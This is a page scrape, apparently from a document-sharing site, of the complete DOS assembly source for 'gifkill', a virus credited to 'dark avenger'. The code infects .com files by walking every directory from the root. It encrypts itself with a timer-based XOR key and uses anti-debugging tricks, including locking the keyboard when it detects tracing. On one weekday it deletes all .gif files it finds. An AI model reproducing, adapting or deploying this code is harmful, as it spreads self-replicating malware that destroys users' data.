You are on page 1of 7

; gifkill.

asm -- seek and destroy gif


; written by dark avenger

virus_type equ 0 ; appending virus


is_encrypted equ 1 ; we're encrypted
tsr_virus equ 0 ; we're not tsr

code segment byte public


assume cs:code,ds:code,es:code,ss:code
org 0100h

main proc near


db 0e9h,00h,00h ; near jump (for compatibility)
start: call find_offset ; like a push ip
find_offset: pop bp ; bp holds old ip
sub bp,offset find_offset ; adjust for length of host

call encrypt_decrypt ; decrypt the virus

start_of_code label near

lea si,[bp + buffer] ; si points to original start


mov di,0100h ; push 0100h on to stack for
push di ; return to main program
movsw ; copy the first two bytes
movsb ; copy the third byte

mov di,bp ; di points to start of virus

mov bp,sp ; bp points to stack


sub sp,128 ; allocate 128 bytes on stack

mov ah,02fh ; dos get dta function


int 021h
push bx ; save old dta address on stack

mov ah,01ah ; dos set dta function


lea dx,[bp - 128] ; dx points to buffer on stack
int 021h

stop_tracing: mov cx,09ebh


mov ax,0fe05h ; acutal move, plus a halt
jmp $-2
add ah,03bh ; ah now equals 025h
jmp $-10 ; execute the halt
lea bx,[di + null_vector] ; bx points to new routine
push cs ; transfer cs into es
pop es ; using a push/pop
int 021h
mov al,1 ; disable interrupt 1, too
int 021h
jmp short skip_null ; hop over the loop
null_vector: jmp $ ; an infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; prefetch unchanged
lock_keys: mov al,128 ; change here screws debug
out 021h,al ; if tracing then lock keyboard

mov cx,0003h ; do 3 infections


search_loop: push cx ; save cx
call search_files ; find and infect a file
pop cx ; restore cx
loop search_loop ; repeat until cx is 0

call get_weekday
cmp ax,0005h ; did the function return 5?
je strt00 ; if equal, do effect
jmp end00 ; otherwise skip over it
strt00: lea dx,[di + data00] ; dx points to data
mov ah,04eh ; dos find first file function
mov cx,00100111b ; all file attributes valid
int 021h
jc erase_done ; exit procedure on failure
mov ah,02fh ; dos get dta function
int 021h
lea dx,[bx + 01eh] ; dx points to filename in dta
erase_loop: mov ah,041h ; dos delete file function
int 021h
mov ah,03ch ; dos create file function
xor cx,cx ; no attributes for new file
int 021h
mov ah,041h ; dos delete file function
int 021h
mov ah,04fh ; dos find next file function
int 021h
jnc erase_loop ; repeat until no files left
erase_done:

end00:
com_end: pop dx ; dx holds original dta address
mov ah,01ah ; dos set dta function
int 021h

mov sp,bp ; deallocate local buffer

xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;

ret ; return to original program


main endp

db 0fah,045h,02eh,0b3h,024h

search_files proc near


push bp ; save bp
mov bp,sp ; bp points to local buffer
sub sp,64 ; allocate 64 bytes on stack

mov ah,047h ; dos get current dir function


xor dl,dl ; dl holds drive # (current)
lea si,[bp - 64] ; si points to 64-byte buffer
int 021h

mov ah,03bh ; dos change directory function


lea dx,[di + root] ; dx points to root directory
int 021h

call traverse ; start the traversal

mov ah,03bh ; dos change directory function


lea dx,[bp - 64] ; dx points to old directory
int 021h

mov sp,bp ; restore old stack pointer


pop bp ; restore bp
ret ; return to caller

root db "\",0 ; root directory


search_files endp

traverse proc near


push bp ; save bp

mov ah,02fh ; dos get dta function


int 021h
push bx ; save old dta address

mov bp,sp ; bp points to local buffer


sub sp,128 ; allocate 128 bytes on stack

mov ah,01ah ; dos set dta function


lea dx,[bp - 128] ; dx points to buffer
int 021h

mov ah,04eh ; dos find first function


mov cx,00010000b ; cx holds search attributes
lea dx,[di + all_files] ; dx points to "*.*"
int 021h
jc leave_traverse ; leave if no files present

check_dir: cmp byte ptr [bp - 107],16 ; is the file a directory?


jne another_dir ; if not, try again
cmp byte ptr [bp - 98],'.' ; did we get a "." or ".."?
je another_dir ;if so, keep going

mov ah,03bh ; dos change directory function


lea dx,[bp - 98] ; dx points to new directory
int 021h

call traverse ; recursively call ourself

pushf ; save the flags


mov ah,03bh ; dos change directory function
lea dx,[di + up_dir] ; dx points to parent directory
int 021h
popf ; restore the flags

jnc done_searching ; if we infected then exit


another_dir: mov ah,04fh ; dos find next function
int 021h
jnc check_dir ; if found check the file

leave_traverse:
lea dx,[di + com_mask] ; dx points to "*.com"
call find_files ; try to infect a file
done_searching: mov sp,bp ; restore old stack frame
mov ah,01ah ; dos set dta function
pop dx ; retrieve old dta address
int 021h

pop bp ; restore bp
ret ; return to caller

up_dir db "..",0 ; parent directory name


all_files db "*.*",0 ; directories to search for
com_mask db "*.com",0 ; mask for all .com files
traverse endp

db 0a6h,03ch,0b6h,078h,0cch

find_files proc near


push bp ; save bp

mov ah,02fh ; dos get dta function


int 021h
push bx ; save old dta address

mov bp,sp ; bp points to local buffer


sub sp,128 ; allocate 128 bytes on stack

push dx ; save file mask


mov ah,01ah ; dos set dta function
lea dx,[bp - 128] ; dx points to buffer
int 021h

mov ah,04eh ; dos find first file function


mov cx,00100111b ; cx holds all file attributes
pop dx ; restore file mask
find_a_file: int 021h
jc done_finding ; exit if no files found
call infect_file ; infect the file!
jnc done_finding ; exit if no error
mov ah,04fh ; dos find next file function
jmp short find_a_file ; try finding another file

done_finding: mov sp,bp ; restore old stack frame


mov ah,01ah ; dos set dta function
pop dx ; retrieve old dta address
int 021h

pop bp ; restore bp
ret ; return to caller
find_files endp

db 002h,0efh,034h,048h,091h
infect_file proc near
mov ah,02fh ; dos get dta address function
int 021h
mov si,bx ; si points to the dta

mov byte ptr [di + set_carry],0 ; assume we'll fail

cmp word ptr [si + 01ah],(65279 - (finish - start))


jbe size_ok ; if it's small enough continue
jmp infection_done ; otherwise exit

size_ok: mov ax,03d00h ; dos open file function, r/o


lea dx,[si + 01eh] ; dx points to file name
int 021h
xchg bx,ax ; bx holds file handle

mov ah,03fh ; dos read from file function


mov cx,3 ; cx holds bytes to read (3)
lea dx,[di + buffer] ; dx points to buffer
int 021h

mov ax,04202h ; dos file seek function, eof


cwd ; zero dx _ zero bytes from end
mov cx,dx ; zero cx /
int 021h

xchg dx,ax ; faster than a push ax


mov ah,03eh ; dos close file function
int 021h
xchg dx,ax ; faster than a pop ax

sub ax,finish - start + 3 ; adjust ax for a valid jump


cmp word ptr [di + buffer + 1],ax ; is there a jmp yet?
je infection_done ; if equal then exit
mov byte ptr [di + set_carry],1 ; success -- the file is ok
add ax,finish - start ; re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; construct jump

mov ax,04301h ; dos set file attrib. function


xor cx,cx ; clear all attributes
lea dx,[si + 01eh] ; dx points to victim's name
int 021h

mov ax,03d02h ; dos open file function, r/w


int 021h
xchg bx,ax ; bx holds file handle

mov ah,040h ; dos write to file function


mov cx,3 ; cx holds bytes to write (3)
lea dx,[di + new_jump] ; dx points to the jump we made
int 021h

mov ax,04202h ; dos file seek function, eof


cwd ; zero dx _ zero bytes from end
mov cx,dx ; zero cx /
int 021h
push si ; save si through call
call encrypt_code ; write an encrypted copy
pop si ; restore si

mov ax,05701h ; dos set file time function


mov cx,[si + 016h] ; cx holds old file time
mov dx,[si + 018h] ; dx holds old file date
int 021h

mov ah,03eh ; dos close file function


int 021h

mov ax,04301h ; dos set file attrib. function


xor ch,ch ; clear ch for file attribute
mov cl,[si + 015h] ; cx holds file's old attributes
lea dx,[si + 01eh] ; dx points to victim's name
int 021h

infection_done: cmp byte ptr [di + set_carry],1 ; set carry flag if failed
ret ; return to caller

set_carry db ? ; set-carry-on-exit flag


buffer db 090h,0cdh,020h ; buffer to hold old three bytes
new_jump db 0e9h,?,? ; new jump to virus
infect_file endp

db 089h,043h,03bh,054h,0aah

get_weekday proc near


mov ah,02ah ; dos get date function
int 021h
cbw ; sign-extend al into ax
ret ; return to caller
get_weekday endp

data00 db "*.gif",0

vcl_marker db "[z10]",0 ; vcl creation marker

note db "bye bye mr.gif",0


db "you'll never find all the file"
db "s i have infected!",0

encrypt_code proc near


push bp ; save bp
mov bp,di ; use bp as pointer to code
lea si,[bp + encrypt_decrypt]; si points to cipher routine

xor ah,ah ; bios get time function


int 01ah
mov word ptr [si + 9],dx ; low word of timer is new key

xor byte ptr [si + 1],8 ;


xor byte ptr [si + 8],1 ; change all sis to dis
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; all but final ret
push si ; save si for later
push cx ; save cx for later
rep movsb ; copy the bytes

lea si,[bp + write_stuff] ; si points to write stuff


mov cx,5 ; cx holds length of write
rep movsb ; copy the bytes

pop cx ; restore cx
pop si ; restore si
inc cx ; copy the ret also this time
rep movsb ; copy the routine again

mov ah,040h ; dos write to file function


lea dx,[bp + start] ; dx points to virus

lea si,[bp + finish] ; si points to routine


call si ; encrypt/write/decrypt

mov di,bp ; di points to virus again


pop bp ; restore bp
ret ; return to caller

write_stuff: mov cx,finish - start ; length of code


int 021h
encrypt_code endp

end_of_code label near

encrypt_decrypt proc near


lea si,[bp + start_of_code] ; si points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; cx holds length
xor_loop: db 081h,034h,00h,00h ; xor a word by the key
inc si ; do the next word
inc si ;
loop xor_loop ; loop until we're through
ret ; return to caller
encrypt_decrypt endp
finish label near

code ends
end main

You might also like